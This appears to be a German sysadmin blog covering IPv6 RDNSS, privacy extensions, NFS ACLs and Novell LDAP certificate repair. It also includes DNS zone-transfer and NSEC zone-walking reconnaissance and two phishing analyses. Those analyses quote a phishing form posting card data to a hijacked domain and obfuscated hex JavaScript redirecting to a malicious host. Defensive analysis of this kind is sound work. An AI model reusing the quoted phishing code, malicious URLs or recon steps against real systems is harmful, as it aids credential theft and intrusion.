DNS-Server mit RDNSS verteilen

Neben den üblichen Dingen wie Netz und Router kann per NDP auch der DNS-Server an die Clients verteilt werden.

Es reicht ein Eintrag in radvd.conf auf dem Router/Gateway in der Form:

RDNSS 2620:0:ccc::2 2620:0:ccd::2
{
AdvRDNSSLifetime 300;
};

Ab jetzt erhalten die Clients auch die nötigen Informationen.
Das jedoch auf Clientseite zu verwerten ist äußerst traurig implementiert unter Windows, wie folgende Übersicht zeigt:
(sechste Spalte)

http://en.wikipedia.org/wiki/Comparison_of_IPv6_support_in_operating_systems

Unter Linux reichte mir das Paket rdnssd, was mir nach der Installation automatisch die resolv.conf ergänzt hat. Geht sicherlich auch mit anderen Tools.
Unter Windows scheint es rdnssd-win32 zu geben – beim Test hatte ich jedoch keinen Erfolg.

IPv6: Privacy Extensions einschalten

Jetzt hat man mit v6 Millionen von Adressen verfügbar, aber nur eine handvoll Clients. Zusätzlich wird standardmäßig ein Teil der Rechner MAC-Adresse des physikalischen Interfaces in die v6-Adresse integriert, wenn man die Stateless Address Autoconfiguration (SLAAC) nutzt.

Dies lässt sich deaktivieren mit net.ipv6.conf.all.use_tempaddr=2 in der /etc/sysctl.conf

Nach einem stop/start des Interfaces beinhaltet das IF nicht mehr einen Teil der Mac.

NFS und FS ACLS – eine erste Beobachtung

Die Kernel-Entwickler haben im Jahr 2012 entschieden¹, dass die Mountoption acl jetzt standardmäßig aktiv ist und somit rausgeflogen ist. Es gibt natürlich weiterhin noacl zum Deaktivieren.
ACLS auf einer lokalen Partition für eine Datei zu setzen, erfolgt mit:

setfacl -m u:root:r bla

Bindet man jetzt ein NFS4-Share von einem entfernten Rechner ein mit

mount.nfs4 -o acl 192.168.0.254:/ /bla

und versucht obigen Befehl erneut, gibt es folgendes Problem:

setfacl: /bla/: Operation not supported

Mein letzter Stand ist, dass man acls auf nfs share setzen kann – benötigt hierfür aber ein gesondertes Tool nfs4acl (Debianpaket nfs4acl).
Für meine Backupzwecke jedoch wertlos – ich möchte die Rechte des lokalen Dateisystems beim Kopieren erhalten und nicht mit nfs4acl Rechte setzen auf dem NFS-Share.
Zeit für eine Anfrage an die Entwickler.

Update 29.09:
http://www.spinics.net/lists/linux-nfs/msg47081.html

¹ http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ea6633369458992241599c9d9ebadffaeddec164

/usr/sbin/namcd[4607]: _nds_nss_struct_init: Error [226] in _nds_ldap_private_struct_init.

/var/log/warn:Jul  9 10:45:50 mars /usr/sbin/namcd[4607]: Unknown error returned reading configuration parameter: alternative-ldap-server-list
/var/log/warn:Jul  9 10:45:50 mars /usr/sbin/namcd[4607]: _nds_nss_struct_init: Error [226] in _nds_ldap_private_struct_init.

Probleme aus der Kategorie – gibt es das noch?

Ein Novell-Server verwendet zur Anmeldung der Dienste am LDAP-Server ein SSL-Zertifikat. Dieses war abgelaufen.

Prüfen lässt sich dies mit einem einfachen LDAP-Search ala:

/opt/novell/eDirectory/bin/ldapsearch -w server -h server-IP -p 636 -e /etc/opt/novell/certs/SSCert.der -b „“ -s base -vvv

Das sollte schon nicht klappen, wenn das Zertifikat abgelaufen ist – also weiter…

Also über den I-Manager https://hostname/nps/ links auf Novell Certificate Server – Repair Default Certificates – eigenen Server auswählen, ganz oben Ja auswählen und los.

Dann die neuen Zertifikate auch für den namecd-Dienst exportieren mit:

namconfig -k

Dann den Server neustarten – oder alternativ

rcndsd restart && rcnamcd restart

Quellen:

https://www.novell.com/support/kb/doc.php?id=7006567

https://www.novell.com/support/kb/doc.php?id=3401691

DNS – dnswalk – zonewalking

Das DNS-System ist in Zonen aufgebaut/verwaltet.
Jede Domain – z.B. plzk.de – stellt eine Zone dar. Pro Zone müssen je nach zuständiger Verwaltung (für .de die Denic) mehrere DNS-Server zur Verfügung stehen, die sich um die Namensauflösung kümmern.

stefan@wrk1:~$ host -t NS plzk.de
plzk.de name server ns.namespace4you.de.
plzk.de name server ns2.namespace4you.de.

Da es jetzt für die Administratoren von großen DNS-Servern zu viel Aufwand wäre, neue Eintrage auf DNS-Server1 auch auf DNS-Server2 händisch vorzunehmen, gibt es den Prozess des Zonentransfers. Normale master->slave Beziehung.

Dieser Prozess fordert vom Master die komplette Zone an und übernimmt sie in seine eigene Konfiguration.
(Auf Grund von schlecht gesicherten DNS-Servern kommt es häufig vor, dass nicht nur der Slave-Server die Zone abfragen kann)

Durchführen lässt sich dies mit:

stefan@wrk1:~$ dig @Nameserver domain.tld AXFR | head -10
(Ausgabe gekürzt)

; <> DiG 9.8.4-rpz2+rl005.12-P1 <> @Nameserver domain.tld AXFR
; (1 server found)
;; global options: +cmd
domain.tld. 3600 IN SOA gekürzt
domain.tld. 3600 IN NS gekürzt
domain.tld. 3600 IN NS gekürzt
domain.tld. 3600 IN NS gekürzt
domain.tld. 600 IN A gekürzt
domain.tld. 600 IN A gekürzt

Ohne DNSSEC lässt sich z.B. auch bei einer DNS-Antwort nicht feststellen, ob es die Domain nicht gibt, oder ob der Server nur keine Zone dazu hat.
Mit DNSSEC wurde mit NSEC eine Möglichkeit eingeführt zu beweisen, ob es einen Eintrag gibt. Dies hat jedoch das Zonewalking ermöglicht – wurde dann aber mit NSEC3 wieder beseitigt.

Liefert also ein DNS-Server per dnswalk keine Rückmeldung – ala:
stefan@wrk1:~$ dig @ns.namespace4you.de plzk.de AXFR

; <> DiG 9.8.4-rpz2+rl005.12-P1 <> @ns.namespace4you.de plzk.de AXFR
; (1 server found)
;; global options: +cmd
; Transfer failed.

Bleibt noch zonewalking – in etwa sieht das so aus:

$ tool paypal.com
paypal.com. paypal.com. A NS SOA MX TXT RRSIG NSEC DNSKEY TYPE65534
3pimages.paypal.com. A RRSIG NSEC
_dmarc.paypal.com. TXT RRSIG NSEC
ym2._domainkey.paypal.com. TXT RRSIG NSEC
3rdparty._spf.paypal.com. TXT RRSIG NSEC

Technisch gesehen frägt man den DNS nach einem Eintrag und er liefert durch NSEC den nächsten in der „Kette“. So hangelt man sich durch den DNS, bis man wieder beim „ersten“ Eintrag angekommen ist:

stefan@wrk1:~$ dig +dnssec @Nameserver bla.host
;; AUTHORITY SECTION:
bla2.host.de 300 IN NSEC bla3.host. CNAME RRSIG NSEC

Phishing-Angriff – Trickreicher Webserver

Und noch ein Beitrag, weils so spannend ist:

Die üblichen Phishing-Mails kennt ja jeder.

Visa-Kreditkartendaten in Formular eingeben, abschicken und wer anders freut sich:

In meinem Fall ist im HTML-Code der Verweis auf:

<form name=“frm“ action=“http://fabrykaperspektyw.pl/modules/mod_zetta/auth.php“ method=“post“ onsubmit=“return valFrm()“><table id=“formTable“><tr><td colspan=“2″><span id=“title“>Reactivate the Verified by Visa/Mastercard service.</span>

 

Auch hier wieder gekaperte Domain von polnischer Firma übernommen. Das spannende hier ist jedoch, dass der Server egal ob mit get/post nachdem wir die Daten abgeliefert haben, einen redirect auf die offizielle Visa-Seite liefert. So sieht das ganze auf den ersten Blick täuschend echt aus…

stefan@wrk1:~$ wget http://fabrykaperspektyw.pl/modules/mod_zetta/auth.php
–2014-04-12 11:50:28– http://fabrykaperspektyw.pl/modules/mod_zetta/auth.php
Resolving fabrykaperspektyw.pl (fabrykaperspektyw.pl)… 77.55.2.176
Connecting to fabrykaperspektyw.pl (fabrykaperspektyw.pl)|77.55.2.176|:80… connected.
HTTP request sent, awaiting response… 302 Found
Location: http://usa.visa.com/personal/cards/index.html [following]
–2014-04-12 11:50:28– http://usa.visa.com/personal/cards/index.html
Resolving usa.visa.com (usa.visa.com)… 92.122.25.100
Connecting to usa.visa.com (usa.visa.com)|92.122.25.100|:80… connected.

Nachdem wir auch hier den Hoster informiert haben, hinterlassen wir noch eine Info in deren Logs:

stefan@wrk1:~$ wget -d –post-data ‚you=have_been_reported‘ http://fabrykaperspektyw.pl/modules/mod_zetta/auth.php
Setting –post-data (postdata) to you=have_been_reported
DEBUG output created by Wget 1.13.4 on linux-gnu.

URI encoding = `UTF-8′
–2014-04-12 12:07:07– http://fabrykaperspektyw.pl/modules/mod_zetta/auth.php
Resolving fabrykaperspektyw.pl (fabrykaperspektyw.pl)… 77.55.2.176
Caching fabrykaperspektyw.pl => 77.55.2.176
Connecting to fabrykaperspektyw.pl (fabrykaperspektyw.pl)|77.55.2.176|:80… connected.
Created socket 3.
Releasing 0x00000000009aed70 (new refcount 1).

—request begin—
POST /modules/mod_zetta/auth.php HTTP/1.1
User-Agent: Wget/1.13.4 (linux-gnu)
Accept: */*
Host: fabrykaperspektyw.pl
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

—request end—
[POST data: you=have_been_reported]

 

Angriff per E-Mail – eine kleine Analyse

Heute ist mal wieder eine Mail aufgeschlagen mit einem Betreff von:

Your video has been queued and will be processed as soon as possible

 

Und einem Link zu:

XXXX://securytec.de/cgi-bin/nonextensible.pl

Was hier auffällt ist schon mal eine übernommene deutsche Domain, die als Dreckschleuder genutzt wird.

Eingetragener Eigentümer bei denic ist ein bayrischer Unternehmer.

Diesen habe ich informiert per Telefon.

 

Hinter dem Perl-Skript verbirgt sich verschleierter Code in der Form:

<html><body><script type=“text/javascript“>vgy1=“x30″;kuv2=“x68x74x74x70x3Ax2Fx2Fx6Fx71x67x73x72x6Ex78x73x2Ex63x6Fx6D“;setTimeout(„x77x69x6Ex64x6Fx77x2Ex74x6Fx70x2Ex6Cx6Fx63x61x74x69x6Fx6Ex2Ex68x72x65x66x3Dx6Bx75x76x32x3B“,vgy1);</script></body></html>

Wandelt man Hex in Ascii um, lädt der Code

XXXX://oqgsrnxs.com/

Hinter dieser Domain existiert ein A-Eintrag

oqgsrnxs.com. 568 IN A 91.200.12.11

Hinter der IP 91.200.12.11 verbirgt sich der ukrainische Hoster hidehost.net. Port 80 ist jedoch momentan geblockt. Der Server läuft aber noch:

Starting Nmap 6.00 ( http://nmap.org ) at 2014-04-12 11:31 CEST
Nmap scan report for dedic384.hidehost.net (91.200.12.11)
Host is up (0.11s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp filtered http
8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 3.04 seconds

Es könnte auch sein, dass damit nur spezielle Hosts angegriffen werden sollen, und meine Absender-IP (deutschen Ursprungs) nicht erlaubt ist.

Auch der Hoster hidehost.net wurde informiert.